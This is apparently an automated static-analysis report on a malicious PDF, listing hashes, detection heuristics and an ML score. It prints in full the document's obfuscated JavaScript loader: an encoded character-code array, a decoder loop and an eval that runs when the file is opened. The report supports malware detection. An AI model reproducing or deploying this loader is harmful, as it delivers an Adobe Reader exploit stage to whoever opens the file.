Malicious PDF — malware analysis report

Static analysis result for SHA-256 cfab57ad1b2beb90…

MALICIOUS

PDF

19.3 KB Created: 2012-09-17 23:33:20 +04:00 Authoring application: Adobe Acrobat 10.0 (via Acrobat Web Capture 10.0) First seen: 2013-09-14
MD5: 18175ac6aa3a5d3bf8435abe2f720bdd SHA-1: 4df6b8e8981bebaf6e3fd5c0a7c94cf934d1f959 SHA-256: cfab57ad1b2beb908bf7d59d4652808d6c35813a07aa8601b0c57c7bf4434f1c
158 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file was flagged as malicious by an ML classifier with high confidence. Static analysis revealed embedded JavaScript, indicated by PDF_JAVASCRIPT and PDF_JS heuristics. The ML_NYX_PDF_MALICIOUS heuristic firing further supports the malicious nature. The extracted artifact 'javascript_obj0019_000.js' is likely responsible for executing malicious code. The PDF_FROMCHARCODE heuristic suggests obfuscation techniques were used within the script.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 6

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
     s+=String.fromCharCode\(p\(a[i]+a[i2],30+1\)\);
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://www.iec.chIn PDF document text

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0019_000.js pdf-javascript-stream PDF /JS object 19 at offset 0x2DE 8244 bytes
SHA-256: 85e84c4e22d6a72a6afcd50906e4753bbbaba5be919d6595ba32910a44602325
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 10 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
xx='b';
a='353d3m3a1u18163o1p1k1n1n163o3936381l163o1p1m3936163o1o1m381l163o381q1k1l163o1k1k1m39163o1n1l361h163o1l1h1p35163o1p351k1h163o1h361l1h163o1o1h1p35163o1m1n1i36163o1o1n1p35163o1k1k1h1p163o1n1n3735163o1m381p35163o1h1k1k36163o1k1k1o1l163o1p1i1j36163o1i1m3838163o39391i1h163o351p3939163o1l1h1p35163o361k1k1h163o1k1q1l1n163o1o1m1h1n163o1p1o3935163o1j1l1k1l163o381l1p1m163o1m1i1o1m163o3835381q163o1m1i1l36163o1p351m1n163o1k361o1m163o1o1l1p35163o1o1p1k1m163o391m1h1k163o1p351m1n163o1j1h1o1n163o391m1h1k163o361q1k1k163o1l1i1l1q163o34373936163o361m1h1k163o37351k1k163o35381h39163o1k1p1i1h163o1o1l391j163o361i1h1p163o1h373635163o37341h1k163o38351l1h163o1k35391i163o1o1m1i39163o1m38381n163o1m381p35163o1h1k1j1l163o1n1n3737163o1h361p35163o1p371l35163o38361l1n163o1m1l3939163o1h361j1l163o371p1p35163o37371h1k163o1h1l1p35163o1h1k1p35163o3435361m163o1m1q1m38163o3835361k163o34371m1k163o1n1p1p35163o1p1h1j1h163o1h361o37163o1o1l1k1k163o1q1n1h1k163o391k3835163o1n1p1p35163o1p351h1p163o1n34391o163o1m1q1h1m163o1q1p381p163o39393939163o381j3939163o381p391q163o1h1h1h1h163o1h1h1h1h163o1m1h1m1p163o1l1h1n34163o39391n1p163o1h1h1h1h163o1m1h1h1h163o361h1p1k163o1m1h1i1q163o1p351m1m163o1p353836163o1i1h1m38163o361k1p1k163o39391h1m163o1n1p381k163o1n381n39163o1h1h1h1h163o1o1m1n1p163o1n361o1j163o1m1l1n37163o1i1n3939163o361l1p1k163o1p351h1p163o381p381p163o39391n1i163o39393939163o1h1j3835163o1o1j3835163o38361p1i163o1h1i1h1l163o1h1h1h1h163o1m361p37163o1h361j1l163o1h1l361o163o1o1j1j1l163o1n1o1n1m163o361o1o1k163o1j1l1l1l163o1o1n1h1l163o1k1k1o1j163o361o1k1j163o1j1l1l1l163o1j1h1h1p163o1o1k1j37163o1m1k1j1h163o391p1n1p163o1h1h1h1h163o39391h1h163o1h361m1n163o381p1p35163o361q1k1k163o361o1m1i163o1i371l1l163o1o1o1h1h163o1n1j1o1h163o361o1o1l163o1i371l1l163o1j381h1m163o1n361n1l163o361n1n36163o1i371l1l163o1h1h1h1q163o1p341m1q163o1h1l361i163o1p1p1k1h163o1i371l1l163o1l1i1h1l163o1n341m1i163o1n341h1h163o1m1k1h1h163o1n341m1o163o39391h1h163o1i1l1m1n163o361h1p1m163o1i1n1o1m163o1h1h1n34163o39391m1k163o1h1l1m1n163o1h1h1n34163o38351p1k163o1m1k1h36163o1m1n3939163o1p1k1h1l163o1h36361k163o1h1j3835163o1i1k3835163o1p1h1l1o163o1h1h1k39163o39341o1m163o1p1h1l1o163o1h1h1k39163o361l1o1m163o1h1h1n34163o39381n34163o1m1n3939163o381p1h1p163o39381q36163o39393939163o1l381p38163o38361h38163o39381q1p163o1h381p34163o1n391p1q163o35371h1i163o36341k1k163o1m351p34163o361n1i35163o1o1q1l1n163o1i341k1n163o1o1h1j39163o1o1l1n1p163o1o1h1o1l163o1j391k34163o1n381j39163o1n351o1m163o1n1m1n1q163o1n391n1l163o1n1i1n36163o1j381n37163o1n361l1n163o1l1l1o1q163o1n391o1j163o1n1m1n38163o1j381o1k163o1n1m1n38163o1j391o1l163o1o1m1o1h163o1n361n1j163o1n1k1n1q163o1l371j39163o1m1l1m1m163o1m1l1l1i163o1l391l1q163o1m391l38163o1l361l1k163o1l371l1q163o1k1l1l1j163o1n1m1j38163o1n1m1o1p163o1h1h1h1h181s393o3h363n3c3i3h11383t3p3l193l341d3k3s1a3u3q3'+xx+'3c3f38193l341f3f383h3a3n3'+xx+'1'+xx+'1j1t3k3s1a3u3l341c1u3l34413l341u3l341f3m3o353m3n3l3c3h3a191h1d3k3s1g1j1a1s3l383n3o3l3h113l3441393o3h363n3c3i3h11353r191a3u3p343l11373e3a1u3h383q11233l3l343s191a1s3p343l113p3q1u1h3r1h361h361h361h361s3p343l113437373l1u1h3r1l1h1h1h1h1h1s3p343l113j343s3f3i34371u3o3h383m36343j3819353d3m3a1a1s3p343l113m36323f383h1u3j343s3f3i34371f3f383h3a3n3'+xx+'1'+xx+'1j1s3p343l113k3s1u3437373l1e193m36323f383h1c1h3r1k1p1a1s3p343l113s343l3m3j1u3o3h383m36343j381913163o1q1h1q1h163o1q1h1q1h131a1s3s343l3m3j1u383t3p3l193s343l3m3j1d3k3s1a1s3p343l11363i3o3h3n1j1u193p3q1e1h3r1l1h1h1h1h1h1a1g3437373l1s393i3l193p343l11363i3o3h3n1u1h1s363i3o3h3n1t363i3o3h3n1j1s363i3o3h3n1c1c1a3u373e3a2t363i3o3h3n301u3s343l3m3j1c3j343s3f3i3437413p343l113i3p383l393f3i3q1u3o3h383m36343j381913163o1h361h36163o1h361h36131a1s3q3'+xx+'3c3f38193i3p383l393f3i3q1f3f383h3a3n3'+xx+'1t1l1l1q1m1j1a3u3i3p383l393f3i3q1c1u3i3p383l393f3i3q413n3'+xx+'3c3m1f363i3f3f34352l3n3i3l381u253i3f3f34351f363i3f3f38363n273g343c3f2'+xx+'3h393i193u3m3o353d1r13131d3g3m3a1r3i3p383l393f3i3q411a41393o3h363n3c3i3h113j3l3c3h3n39191a3u3h3i3j1u3o3h383m36343j381913163o1h231h23163o1h231h23163o1h231h23163o1h231h23131a1s3p343l113j343s3f3i34371u3o3h383m36343j3819353d3m3a1a1s3'+xx+'38343j353f3i363e1u3h3i3j1c3j343s3f3i34371s353c3a353f3i363e1u3o3h383m36343j381913163o1h231h23163o1h231h23131a1s3'+xx+'383437383l3m3c3t381u1j1h1s3m3j3l343s1u3'+xx+'383437383l3m3c3t381c3'+xx+'38343j353f3i363e1f3f383h3a3n3'+xx+'1s3q3'+xx+'3c3f3819353c3a353f3i363e1f3f383h3a3n3'+xx+'1t3m3j3l343s1a3u353c3a353f3i363e1c1u353c3a353f3i363e41393c3f3f353f3i363e1u353c3a353f3i363e1f3m3o353m3n3l3c3h3a191h1d3m3j3l343s1a1s353f3i363e1u353c3a353f3i363e1f3m3o353m3n3l3c3h3a191h1d353c3a353f3i363e1f3f383h3a3n3'+xx+'1e3m3j3l343s1a1s3q3'+xx+'3c3f3819353f3i363e1f3f383h3a3n3'+xx+'1c3m3j3l343s1t1h3r1l1h1h1h1h1a3u353f3i363e1u353f3i363e1c353f3i363e1c393c3f3f353f3i363e413g383g1u3h383q11233l3l343s191a1s393i3l193c1u1h1s3c1t1i1l1h1h1s3c1c1c1a3u3g383g2t3c301u353f3i363e1c3'+xx+'38343j353f3i363e413p343l113h3o3g1u1i1j1q1q1q1q1q1q1q1q1q1q1q1q1q1q1q1q1q1q1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1s3o3n3c3f1f3j3l3c3h3n391913161l1m1h1h1h39131d3h3o3g1a41393o3h363n3c3i3h113a383n3c363i3h191a3u3p343l11343l3l3s1u3h383q11233l3l343s191a1s3c3919343j3j1f373i361f253i3f3f34351f3a383n2'+xx+'363i3h1a3u3p343l113j343s3f3i34371u3o3h383m36343j3819353d3m3a1a1s3p343l113'+xx+'2p3k1m1h1h252g1u3j343s3f3i34371f3f383h3a3n3'+xx+'1'+xx+'1j1s3p343l113k3s1u1h3r1l1h1h1h1h1h1e193'+xx+'2p3k1m1h1h252g1c1h3r1k1p1a1s3p343l113s343l3m3j1u3o3h383m36343j381913163o1q1h1q1h163o1q1h1q1h131a1s3s343l3m3j1u383t3p3l193s343l3m3j1d3k3s1a1s3p343l113j1m233d2d1n1m391u191h3r1h361h361h361h361e1h3r1l1h1h1h1h1h1a1g1h3r1l1h1h1h1h1h1s393i3l193p343l113p3k362j261q1n3s1u1h1s3p3k362j261q1n3s1t3j1m233d2d1n1m391s3p3k362j261q1n3s1c1c1a3u343l3l3s2t3p3k362j261q1n3s301u3s343l3m3j1c3j343s3f3i3437413p343l113n2n2f3'+xx+'2g35293q1u3o3h383m36343j381913161h1q131a1s3q3'+xx+'3c3f38193n2n2f3'+xx+'2g35293q1f3f383h3a3n3'+xx+'1t1h3r1l1h1h1h1a3u3n2n2f3'+xx+'2g35293q1c1u3n2n2f3'+xx+'2g35293q413n2n2f3'+xx+'2g35293q1u132g1f131c3n2n2f3'+xx+'2g35293q1s343j3j1f373i361f253i3f3f34351f3a383n2'+xx+'363i3h193n2n2f3'+xx+'2g35293q1a4141342i3f3o3a3c3h3m1u343j3j1f3j3f3o3a2'+xx+'3h3m1s3p343l113m3p1u3j343l3m382'+xx+'3h3n19343j3j1f3p3c383q383l2o383l3m3c3i3h1f3n3i2l3n3l3c3h3a191a1f363'+xx+'343l233n191h1a1a1s393i3l193p343l113c1u1h1s3c1t342i3f3o3a3c3h3m1f3f383h3a3n3'+xx+'1s3c1c1c1a3u3c3919342i3f3o3a3c3h3m2t3c301f3h343g381u1u18272l363l3c3j3n181a3u3p343l113f3p1u342i3f3o3a3c3h3m2t3c301f3p383l3m3c3i3h41413c3919193f3p1u1u1q1a404019193m3p1u1u1p1a1717193f3p1t1u1p1f1i1j1a1a1a3u3a383n3c363i3h191a41383f3m38113c39193f3p1u1u1o1f1i1a3u3j3l3c3h3n39191a41383f3m38113c391919193m3p1u1u1n1a4040193m3p1u1u1o1a1a1717193f3p1t1o1f1i1i1a1a3u353r191a41383f3m38113c3919193f3p201u1q1f1i1a4040193f3p1t1u1q1f1j1a4040193f3p201u1p1f1i1k1a4040193f3p1t1u1p1f1i1o1a1a3u393o3h363n3c3i3h1134191a3u3o3n3c3f1f3j3l3c3h3n3719183j221i1i1i1i1i1i1i1i1i1i1i1i1i1i1i1i1i1i1i1i1i1i1i1i111r113s3s3s3s1i1i1i181d3h383q1126343n38191a1a413p343l113'+xx+'1u343j3j1f3j3f3o3a2'+xx+'3h3m1s393i3l193p343l11391u1h1s391t3'+xx+'1f3f383h3a3n3'+xx+'1s391c1c1a3u3c39193'+xx+'2t39301f3h343g381u1u18272l363l3c3j3n181a3u3p343l113c1u3'+xx+'2t39301f3p383l3m3c3i3h41413c3919193c201p1f1i1j1a1717193c1t1p1f1j1a1a3u361u3h383q11233l3l343s191a1s3p343l11371u3o3h383m36343j381918163o1q1h1q1h163o1q1h1q1h181a1s3p343l11381u3o3h383m36343j3819353d3m3a1a1s3q3'+xx+'3c3f3819371f3f383h3a3n3'+xx+'1t1u1h3r1p1h1h1h1a3u371c1u3741371u371f3m3o353m3n3l191h1d1h3r1p1h1h1h1e381f3f383h3a3n3'+xx+'1a1s393i3l19391u1h1s391t1j1q1h1h1s391c1c1a3u362t39301u371c384134191a1s34191a1s3n3l3s3u3n3'+xx+'3c3m1f3g38373c341f3h383q2i3f343s383l193h3o3f3f1a4136343n363'+xx+'19381a3u4134191a4141';
s='';
if((event.name+'').substr(0,3)=='O'+'pe'){t=event;}
p=t.target['p'+'arseInt'];
for(i=0;i<a.length;i+=2){
	jj = 0;
	i2=i+1;
	s+=String.fromCharCode(p(a[i]+a[i2],30+1));
}
t.target[(xx=='b')?'eval':0](s);
icc_00_off000029cd.icc pdf-icc-profile PDF ICC profile at offset 0x29CD 408 bytes
SHA-256: 653b586c4707574ffcd648ba35494daed2c76ceafcf4c07d315ed961b1dc347f
icc_01_off00002c68.icc pdf-icc-profile PDF ICC profile at offset 0x2C68 3144 bytes
SHA-256: 2b3aa1645779a9e634744faf9b01e9102b0c9b88fd6deced7934df86b949af7e